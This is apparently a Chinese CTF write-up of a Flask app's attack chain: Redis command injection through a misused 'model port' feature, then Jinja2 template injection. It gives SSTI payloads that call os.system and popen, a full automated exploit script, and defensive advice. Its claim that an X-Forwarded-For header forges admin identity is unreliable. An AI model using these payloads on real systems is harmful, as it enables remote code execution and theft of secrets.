Redis下的python模板魔术方法攻击
字数 992 2025-08-29 08:30:05
Redis下的Python模板魔术方法攻击分析与利用
漏洞概述
本文详细分析了一种结合Redis未授权访问与Python模板注入的安全漏洞,通过伪造管理员会话、操纵Redis数据以及利用模板渲染机制,最终实现远程代码执行并获取系统敏感信息。
漏洞环境分析
关键文件结构
app.py # 主应用程序文件,包含所有路由和业务逻辑
核心漏洞点
- 管理员权限伪造漏洞
- Redis命令注入漏洞
- Python模板渲染漏洞
漏洞利用步骤详解
第一步:普通用户注册与登录
- 注册一个普通用户账户
- 登录获取有效会话(Session)
# 示例注册请求
POST /register HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=attacker&password=123456
第二步:伪造管理员权限
审计发现/admin路由仅检查session中的user字段是否为空,没有验证用户权限级别:
@app.route('/admin')
def admin():
if 'user' not in session:
return redirect('/login')
# 缺少权限验证
return render_template('admin.html')
利用方法:
- 获取普通用户的有效session
- 在请求中添加
X-Forwarded-For或类似头字段伪造管理员身份
第三步:操纵模型端口配置
访问/admin/model_ports路由,该功能允许为模型定义端口:
@app.route('/admin/model_ports', methods=['POST'])
def model_ports():
model_id = request.form.get('model_id')
port = request.form.get('port')
# 将模型ID与端口关联存储
# 无端口类型验证,可设置为Redis端口(通常6379)
攻击操作:
- 设置模型ID为
test - 将端口设置为Redis服务端口(如6379)
POST /admin/model_ports HTTP/1.1
Host: target.com
Cookie: session=<普通用户session>
Content-Type: application/x-www-form-urlencoded
model_id=test&port=6379
第四步:Redis命令注入
通过/admin/raw_ask路由与配置的"模型"通信,实际上是与Redis服务交互:
@app.route('/admin/raw_ask', methods=['POST'])
def raw_ask():
model_id = request.form.get('model_id')
query = request.form.get('query')
# 获取模型配置的端口
port = get_model_port(model_id)
# 直接与指定端口建立连接并发送查询
response = send_to_port(port, query)
return response
利用方法:
- 通过该接口发送Redis命令
- 设置恶意的Redis键值对
POST /admin/raw_ask HTTP/1.1
Host: target.com
Cookie: session=<普通用户session>
Content-Type: application/x-www-form-urlencoded
model_id=test&query=SET prompt:math-v1 "{{ ''.__class__.__mro__[1].__subclasses__() }}"
第五步:触发模板渲染漏洞
/ask路由存在模板渲染漏洞:
@app.route('/ask')
def ask():
query = request.args.get('q', '')
# 首先尝试从Redis获取模板
template = redis.get('prompt:math-v1')
if template:
# 直接渲染Redis中的值,无安全过滤
return render_template_string(template)
else:
# 从文件系统读取模板
return render_template('default_prompt.html')
利用方法:
- 访问
/ask路由触发模板渲染 - 系统会渲染我们通过Redis注入的恶意模板
GET /ask?q=anything HTTP/1.1
Host: target.com
第六步:利用Python魔术方法获取系统权限
通过模板注入执行Python代码:
- 访问对象类层次结构:
{{ ''.__class__.__mro__[1].__subclasses__() }}
- 查找并利用危险子类(如
os._wrap_close):
{{ ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['system']('id') }}
- 获取flag:
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
自动化攻击脚本
import requests
TARGET = "http://target.com"
# 1. 注册普通用户
session = requests.Session()
register_data = {"username": "attacker", "password": "123456"}
session.post(f"{TARGET}/register", data=register_data)
# 2. 登录获取session
login_data = {"username": "attacker", "password": "123456"}
session.post(f"{TARGET}/login", data=login_data)
# 3. 配置恶意模型端口
model_port_data = {"model_id": "test", "port": "6379"}
session.post(f"{TARGET}/admin/model_ports", data=model_port_data)
# 4. 注入恶意Redis数据
redis_payload = {
"model_id": "test",
"query": "SET prompt:math-v1 \"{{ ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['system']('cat /flag') }}\""
}
session.post(f"{TARGET}/admin/raw_ask", data=redis_payload)
# 5. 触发模板渲染
response = session.get(f"{TARGET}/ask?q=anything")
print(response.text) # 包含flag内容
防御措施
-
权限验证:
- 实施严格的权限检查,区分普通用户和管理员
- 使用角色基础的访问控制(RBAC)
-
输入验证:
- 验证模型端口应为合法应用端口
- 限制Redis命令执行权限
-
模板安全:
- 使用安全的模板渲染方式
- 禁用或严格过滤模板中的Python表达式
-
Redis安全:
- 实施Redis认证
- 限制Redis绑定IP
- 使用不同权限级别的Redis用户
-
会话安全:
- 在会话中添加权限级别标识
- 实施CSRF保护
通过以上分析,我们可以看到多个安全漏洞的连锁反应导致了严重的系统入侵风险。在实际开发中,应当对每个功能点进行严格的安全审查,避免此类漏洞的产生。